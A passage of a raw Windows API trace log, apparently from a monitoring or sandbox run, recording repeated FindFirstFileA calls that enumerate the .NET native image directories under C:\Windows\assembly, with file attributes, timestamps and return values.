lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb021bc40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10b5e920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b5e920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.226] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7d73c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10b84a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b84a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.232] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacae9e20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10b84a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b84a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.238] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt9064068c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a731220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10b84a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10b84a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.244] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt9064068c#\\f41175763bc6b1a1279bfc9a23bbb416\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cac340, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10baabe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10baabe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.250] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt93d54979#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b44dab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10baabe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10baabe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.255] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt93d54979#\\e5926ae62640411e156a457d652ffe74\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b44dab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10baabe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10baabe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.261] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16a57fc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10bd0d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10bd0d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.266] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\6e73abc08c5a586f23bc37f8a5c9a194\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa673c4e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10bd0d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10bd0d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.272] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8db760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10bf6ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10bf6ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.278] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Security\\5246d8faa4b6d4a032fe00b2bc868ca0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4230e80, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10bf6ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10bf6ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14259fd9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cd26050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10bf6ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10bf6ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.292] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14259fd9#\\1068cc68e9f5145143f2326c0ee28b87\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cd26050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c1d000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c1d000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.298] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14b62006#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d1350, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c1d000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c1d000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.303] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14b62006#\\9e747a7b7a70ce882104d3e6b6ef6517\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4f74b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c43160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c43160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.309] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv30e99c02#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20cd2cd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c43160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c43160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv30e99c02#\\62d0e7539d6fd18ccb48311fe04d0d1e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20cd2cd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c43160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c43160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.323] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv43e0ae6e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25273050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c692c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c692c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv43e0ae6e#\\01bbef2a552438190422de5f07788c82\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25273050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c692c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c692c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.334] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv759bfb78#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2383eec0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10c8f420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c8f420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.340] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv759bfb78#\\811d1c76185c9fcbba821a35663a8d87\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac379960, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10c8f420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c8f420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.349] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servae423458#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d8a2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10c8f420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10c8f420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.356] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servae423458#\\c06978371de7e20b0a2334e761b98648\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d8a2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10cb5580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10cb5580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servb00a6512#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x253a3b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10cb5580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10cb5580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.368] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servb00a6512#\\55d470ff8b6e7e0f08e891b0605014ae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x253a3b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10cdb6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10cdb6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.375] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d51b40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10cdb6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10cdb6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\2d4652bf9411359bfedacc0b3f8b7433\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69e9da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10d01840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d01840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.387] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servf73e6522#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f08e790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d01840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d01840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.392] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servf73e6522#\\8a391b47b783ff91c0c2d4b932505170\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f08e790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d01840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d01840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.399] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.ServiceModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d646f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d279a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d279a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.406] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.ServiceModel\\d673b03e400d01b12b6ddfec1f96fd1d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d646f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d279a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d279a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.413] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Speech\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25fb0ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d4db00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d4db00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.424] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Speech\\baecebb41b202dae0f64bd327de02ce7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25fb0ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10d4db00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d4db00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.431] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x211dcc00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10d73c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d73c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.438] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\e8c85074213d7b13a3494d101382c29c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab615da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10d73c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d73c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.446] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x203e0ac0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10d99dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d99dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.452] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web\\dbeb15331950675213640f2f0e7a97d2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf4de1e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10d99dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10d99dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.459] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.1586a486#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x281e86f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10dbff20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10dbff20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.464] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.1586a486#\\20ef9309c334a7adfdf5f0a2dc70e91c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x281e86f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10dbff20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10dbff20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.472] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.188dd00b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x261c5df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10dbff20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10dbff20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0247.477] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web.188dd00b#\\7d5d90edb7523c9a8252c7c5f07559a1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x261c5df0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10de6080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10de6080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0247.486] FindFirstFileA (in: 